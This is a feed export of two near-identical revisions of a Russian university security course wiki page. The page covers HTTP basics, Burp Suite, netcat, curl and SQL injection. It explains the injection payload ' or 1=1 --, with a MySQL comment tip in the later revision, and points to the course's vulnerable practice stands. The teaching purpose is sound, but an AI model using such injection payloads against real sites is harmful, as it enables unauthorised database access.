		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=677</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=677"/>
		<updated>2022-06-30T17:34:25Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* SQL injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [https://portswigger.net/burp/documentation/desktop/getting-started Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы (кстати, чтобы это реально сработало для mysql-базы, надо чтобы после &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; ещё стоял символ пробела (в URL его можно послать как &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt;, либо вместо &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; &lt;br /&gt;
 использовать другой символ комментария - решётку (&amp;lt;code&amp;gt;%23&amp;lt;/code&amp;gt;). Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz приблизительный исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=676</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=676"/>
		<updated>2022-06-30T17:29:54Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* SQL injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [https://portswigger.net/burp/documentation/desktop/getting-started Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы. Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz приблизительный исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
